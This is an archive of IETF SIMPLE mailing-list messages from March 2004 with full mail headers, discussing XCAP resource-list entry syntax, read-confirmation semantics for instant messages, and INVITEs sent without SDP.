Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i215uFve012164;
	Mon, 1 Mar 2004 07:56:15 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks003.ntc.nokia.com 00aGxb8i; Mon, 01 Mar 2004 07:56:14 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i215uE724891;
	Mon, 1 Mar 2004 07:56:14 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 07:56:13 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Subject: RE: [Simple] comments on draft-ietf-simple-xcap-list-usage-00
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797802@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] comments on draft-ietf-simple-xcap-list-usage-00
Thread-Index: AcP/RaynMtr7pZQIRxGNnDL5cX01wwAC+mgQ
To: <adam@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 01 Mar 2004 05:56:13.0676 (UTC) FILETIME=[E76F22C0:01C3FF51]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 07:56:13 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable



> -----Original Message-----
> From: ext Adam Roach [mailto:adam@dynamicsoft.com]
> Sent: 01.March.2004 06:28
> To: Khartabil Hisham (Nokia-TP-MSW/Helsinki)
> Cc: 'simple@ietf.org'
> Subject: RE: [Simple] comments on draft-ietf-simple-xcap-list-usage-00
>=20
>=20
>=20
>=20
> One problem with this approach is that "name" is an
> optional attribute in the latest draft. If you remove
> URI to be an element, then it becomes difficult (if
> not impossible; I'm not an XPATH expert) to identify
> an entry.

That's not a problem. You can still identify an entry by its position, =
which xcap allows, btw.
>=20
> There is strong motivation to have a very small notation
> for minimal list, along the lines of:
>=20
>   <entry uri=3D"sip:adam@example.com" />
>   <entry uri=3D"sip:hisham@example.com" />
>   <entry uri=3D"sip:robert@example.com" />

Yes, I was thinking the same. If the uri in unique, why do we need name?

/Hisham

>=20
> /a
>=20
> > -----Original Message-----
> > From: hisham.khartabil@nokia.com [mailto:hisham.khartabil@nokia.com]
> > Sent: Sunday, February 29, 2004 20:34
> > To: adam@dynamicsoft.com
> > Subject: RE: [Simple] comments on=20
> draft-ietf-simple-xcap-list-usage-00
> >=20
> >=20
> > Yes.
> >=20
> > Instead of=20
> >=20
> > <entry name=3D"hisham" uri=3D"sip:hisham@nokia.com">
> >   <display-name>Hisham Khartabil</display-name>
> > </entry>
> >=20
> > I'm proposing:
> >=20
> > <entry name=3D"hisham">
> >   <uri>sip:hisham@nokia.com</uri>
> >   <display-name>Hisham Khartabil</display-name>
> > </entry>
> >=20
> > /Hisham
> >=20
> > > -----Original Message-----
> > > From: ext Adam Roach [mailto:adam@dynamicsoft.com]
> > > Sent: 01.March.2004 03:48
> > > To: Khartabil Hisham (Nokia-TP-MSW/Helsinki); simple@ietf.org
> > > Cc: Jonathan Rosenberg
> > > Subject: RE: [Simple] comments on=20
> > draft-ietf-simple-xcap-list-usage-00
> > >=20
> > >=20
> > >=20
> > > hisham.khartabil@nokia.com=20
> > [mailto:hisham.khartabil@nokia.com] writes:
> > >=20
> > > > - Section 3: and <entry> element has 2 attributes, name and=20
> > > > uri. For xcap specific reasons, I understand why name needs=20
> > > > to be an attribute
> > >=20
> > > Yes, I agree that it does, and that the reasons are rather
> > > specific to XCAP.
> > >=20
> > > > but I think it is much cleaner to have=20
> > > > the uri as an element. It fits in better with the=20
> > > > display-name element and other extensions that will go there.
> > >=20
> > > So... are you proposing a change or not?
> > >=20
> > > /a
> > >=20
> >=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 01:01:07 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA07813
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 01:01:07 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxgTn-00016B-3W
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 01:00:39 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2160dYk004217
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 01:00:39 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxgTn-00015w-01
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 01:00:39 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA07784
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 01:00:37 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgTk-00062O-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 01:00:36 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxgSu-0005vo-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 00:59:45 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgSH-0005pc-00; Mon, 01 Mar 2004 00:59:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxgSC-0000xJ-WE; Mon, 01 Mar 2004 00:59:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxgRg-0000w8-9u
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 00:58:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07602
	for <simple@ietf.org>; Mon, 1 Mar 2004 00:58:24 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgRd-0005mQ-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:58:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxgQb-0005fi-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:57:22 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgPd-0005YJ-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:56:21 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i215uJ017528;
	Mon, 1 Mar 2004 07:56:19 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 07:56:15 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i215uFve012164;
	Mon, 1 Mar 2004 07:56:15 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks003.ntc.nokia.com 00aGxb8i; Mon, 01 Mar 2004 07:56:14 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i215uE724891;
	Mon, 1 Mar 2004 07:56:14 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 07:56:13 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Subject: RE: [Simple] comments on draft-ietf-simple-xcap-list-usage-00
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797802@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] comments on draft-ietf-simple-xcap-list-usage-00
Thread-Index: AcP/RaynMtr7pZQIRxGNnDL5cX01wwAC+mgQ
To: <adam@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 01 Mar 2004 05:56:13.0676 (UTC) FILETIME=[E76F22C0:01C3FF51]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 07:56:13 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable



> -----Original Message-----
> From: ext Adam Roach [mailto:adam@dynamicsoft.com]
> Sent: 01.March.2004 06:28
> To: Khartabil Hisham (Nokia-TP-MSW/Helsinki)
> Cc: 'simple@ietf.org'
> Subject: RE: [Simple] comments on draft-ietf-simple-xcap-list-usage-00
>=20
>=20
>=20
>=20
> One problem with this approach is that "name" is an
> optional attribute in the latest draft. If you remove
> URI to be an element, then it becomes difficult (if
> not impossible; I'm not an XPATH expert) to identify
> an entry.

That's not a problem. You can still identify an entry by its position, =
which xcap allows, btw.
>=20
> There is strong motivation to have a very small notation
> for minimal list, along the lines of:
>=20
>   <entry uri=3D"sip:adam@example.com" />
>   <entry uri=3D"sip:hisham@example.com" />
>   <entry uri=3D"sip:robert@example.com" />

Yes, I was thinking the same. If the uri in unique, why do we need name?

/Hisham

>=20
> /a
>=20
> > -----Original Message-----
> > From: hisham.khartabil@nokia.com [mailto:hisham.khartabil@nokia.com]
> > Sent: Sunday, February 29, 2004 20:34
> > To: adam@dynamicsoft.com
> > Subject: RE: [Simple] comments on=20
> draft-ietf-simple-xcap-list-usage-00
> >=20
> >=20
> > Yes.
> >=20
> > Instead of=20
> >=20
> > <entry name=3D"hisham" uri=3D"sip:hisham@nokia.com">
> >   <display-name>Hisham Khartabil</display-name>
> > </entry>
> >=20
> > I'm proposing:
> >=20
> > <entry name=3D"hisham">
> >   <uri>sip:hisham@nokia.com</uri>
> >   <display-name>Hisham Khartabil</display-name>
> > </entry>
> >=20
> > /Hisham
> >=20
> > > -----Original Message-----
> > > From: ext Adam Roach [mailto:adam@dynamicsoft.com]
> > > Sent: 01.March.2004 03:48
> > > To: Khartabil Hisham (Nokia-TP-MSW/Helsinki); simple@ietf.org
> > > Cc: Jonathan Rosenberg
> > > Subject: RE: [Simple] comments on=20
> > draft-ietf-simple-xcap-list-usage-00
> > >=20
> > >=20
> > >=20
> > > hisham.khartabil@nokia.com=20
> > [mailto:hisham.khartabil@nokia.com] writes:
> > >=20
> > > > - Section 3: and <entry> element has 2 attributes, name and=20
> > > > uri. For xcap specific reasons, I understand why name needs=20
> > > > to be an attribute
> > >=20
> > > Yes, I agree that it does, and that the reasons are rather
> > > specific to XCAP.
> > >=20
> > > > but I think it is much cleaner to have=20
> > > > the uri as an element. It fits in better with the=20
> > > > display-name element and other extensions that will go there.
> > >=20
> > > So... are you proposing a change or not?
> > >=20
> > > /a
> > >=20
> >=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 01:49:25 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA09305
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 01:49:25 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxhEy-0002Fp-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 01:49:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxhDz-0002B5-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 01:48:23 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxhDo-00027e-00; Mon, 01 Mar 2004 01:48:12 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxhDd-0005cx-BZ; Mon, 01 Mar 2004 01:48:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxhD4-0005cX-4M
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 01:47:26 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA09275
	for <simple@ietf.org>; Mon, 1 Mar 2004 01:47:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxhD0-00027J-00
	for simple@ietf.org; Mon, 01 Mar 2004 01:47:23 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxhC7-00023Z-00
	for simple@ietf.org; Mon, 01 Mar 2004 01:46:28 -0500
Received: from sj-iport-5.cisco.com ([171.68.10.87])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxhBN-0001ue-00
	for simple@ietf.org; Mon, 01 Mar 2004 01:45:41 -0500
Received: from sj-core-3.cisco.com (171.68.223.137)
  by sj-iport-5.cisco.com with ESMTP; 29 Feb 2004 22:45:23 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-3.cisco.com (8.12.10/8.12.6) with ESMTP id i216iUvV016524;
	Sun, 29 Feb 2004 22:44:31 -0800 (PST)
Received: from cisco.com (sin-vpn-client-20-17.cisco.com [10.68.20.17])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGK32978;
	Mon, 1 Mar 2004 01:44:27 -0500 (EST)
Message-ID: <4042DBCA.9050007@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Eric Burger <eburger@snowshore.com>
CC: simple@ietf.org
Subject: Re: [Simple] RE: Advanced IM requirements
References: <4A3384433CE2AB46A63468CB207E209DB1A213@zoe.office.snowshore.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 01:44:26 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Eric Burger wrote:
> I agree.  Again, this highlights why IMDN is at the CPIM, and not SIP, level.
> 
> Further, what is the use case for MDN in session mode?  Would anyone EVER use it?  I doubt it: if you are in a session, presumably you are interactive, which means you have OOB methods for knowing the message wasn't read (e.g., no response from the other person).

I agree it doesn't seem like something that normally would be used. But 
there may be some cases. I may want explicit confirmation that a 
particular message has not only been delivered, but read. (This might 
require the UAS to demand some explicit confirmation from the end user 
before sending the confirmation.)

Another case is with an IM conference. If I send a message to the mixer, 
requesting confirmation, ideally that would be an end-to-all-ends 
confirmation. The mixer would have to request and receive confirmation 
from all recipients before confirming to sender.

> Given that assertion, can we say IMDN's are page mode messages.

Based on above, I say NO.

	Paul


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 01:49:56 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA09329
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 01:49:56 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxhF2-0005jr-MU
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 01:49:28 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i216nSS0022053
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 01:49:28 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxhF2-0005jc-D9
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 01:49:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA09320
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 01:49:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxhEz-0002Fu-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 01:49:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxhDz-0002BD-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 01:48:24 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxhDo-00027e-00; Mon, 01 Mar 2004 01:48:12 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxhDd-0005cx-BZ; Mon, 01 Mar 2004 01:48:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxhD4-0005cX-4M
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 01:47:26 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA09275
	for <simple@ietf.org>; Mon, 1 Mar 2004 01:47:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxhD0-00027J-00
	for simple@ietf.org; Mon, 01 Mar 2004 01:47:23 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxhC7-00023Z-00
	for simple@ietf.org; Mon, 01 Mar 2004 01:46:28 -0500
Received: from sj-iport-5.cisco.com ([171.68.10.87])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxhBN-0001ue-00
	for simple@ietf.org; Mon, 01 Mar 2004 01:45:41 -0500
Received: from sj-core-3.cisco.com (171.68.223.137)
  by sj-iport-5.cisco.com with ESMTP; 29 Feb 2004 22:45:23 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-3.cisco.com (8.12.10/8.12.6) with ESMTP id i216iUvV016524;
	Sun, 29 Feb 2004 22:44:31 -0800 (PST)
Received: from cisco.com (sin-vpn-client-20-17.cisco.com [10.68.20.17])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGK32978;
	Mon, 1 Mar 2004 01:44:27 -0500 (EST)
Message-ID: <4042DBCA.9050007@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Eric Burger <eburger@snowshore.com>
CC: simple@ietf.org
Subject: Re: [Simple] RE: Advanced IM requirements
References: <4A3384433CE2AB46A63468CB207E209DB1A213@zoe.office.snowshore.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 01:44:26 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Eric Burger wrote:
> I agree.  Again, this highlights why IMDN is at the CPIM, and not SIP, level.
> 
> Further, what is the use case for MDN in session mode?  Would anyone EVER use it?  I doubt it: if you are in a session, presumably you are interactive, which means you have OOB methods for knowing the message wasn't read (e.g., no response from the other person).

I agree it doesn't seem like something that normally would be used. But 
there may be some cases. I may want explicit confirmation that a 
particular message has not only been delivered, but read. (This might 
require the UAS to demand some explicit confirmation from the end user 
before sending the confirmation.)

Another case is with an IM conference. If I send a message to the mixer, 
requesting confirmation, ideally that would be an end-to-all-ends 
confirmation. The mixer would have to request and receive confirmation 
from all recipients before confirming to sender.

> Given that assertion, can we say IMDN's are page mode messages.

Based on above, I say NO.

	Paul


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 02:03:46 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA12925
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 02:03:45 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxhSq-00041g-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 02:03:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxhRr-0003uf-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 02:02:44 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxhRN-0003oC-00; Mon, 01 Mar 2004 02:02:13 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxhRG-0007Yi-Rs; Mon, 01 Mar 2004 02:02:06 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxhQt-0007TW-4j
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 02:01:43 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA11450
	for <simple@ietf.org>; Mon, 1 Mar 2004 02:01:40 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxhQp-0003mB-00
	for simple@ietf.org; Mon, 01 Mar 2004 02:01:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxhQ4-0003g4-00
	for simple@ietf.org; Mon, 01 Mar 2004 02:00:53 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxhPV-0003Yv-00
	for simple@ietf.org; Mon, 01 Mar 2004 02:00:17 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21709T28919;
	Mon, 1 Mar 2004 09:00:09 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 09:00:05 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i21705PA012155;
	Mon, 1 Mar 2004 09:00:05 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks002.ntc.nokia.com 00spB7Yy; Mon, 01 Mar 2004 09:00:05 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21704O29358;
	Mon, 1 Mar 2004 09:00:04 +0200 (EET)
Received: from esebh005.NOE.Nokia.com ([172.21.138.86]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 09:00:05 +0200
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh005.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 09:00:04 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] MSRP & Comedia
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797803@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] MSRP & Comedia
Thread-Index: AcP+lLTM6HYaWkHRTxe2QnPjD/fJogAxaWXQ
To: <fluffy@cisco.com>, <bcampbell@dynamicsoft.com>, <rsparks@dynamicsoft.com>,
        <rohan@cisco.com>, <adam@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 01 Mar 2004 07:00:04.0762 (UTC) FILETIME=[D2F077A0:01C3FF5A]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 09:00:03 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

In some cases, different INVITEs cause different applications to start =
at the UAS. The way to differentiate between those INVITEs is sometimes =
by using the sdp as a clue. For those devices, receiving INVITE with no =
sdp might cause problems. The UAS needs to guess what application to =
start.

/Hisham

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Cullen Jennings
> Sent: 27.February.2004 08:50
> To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
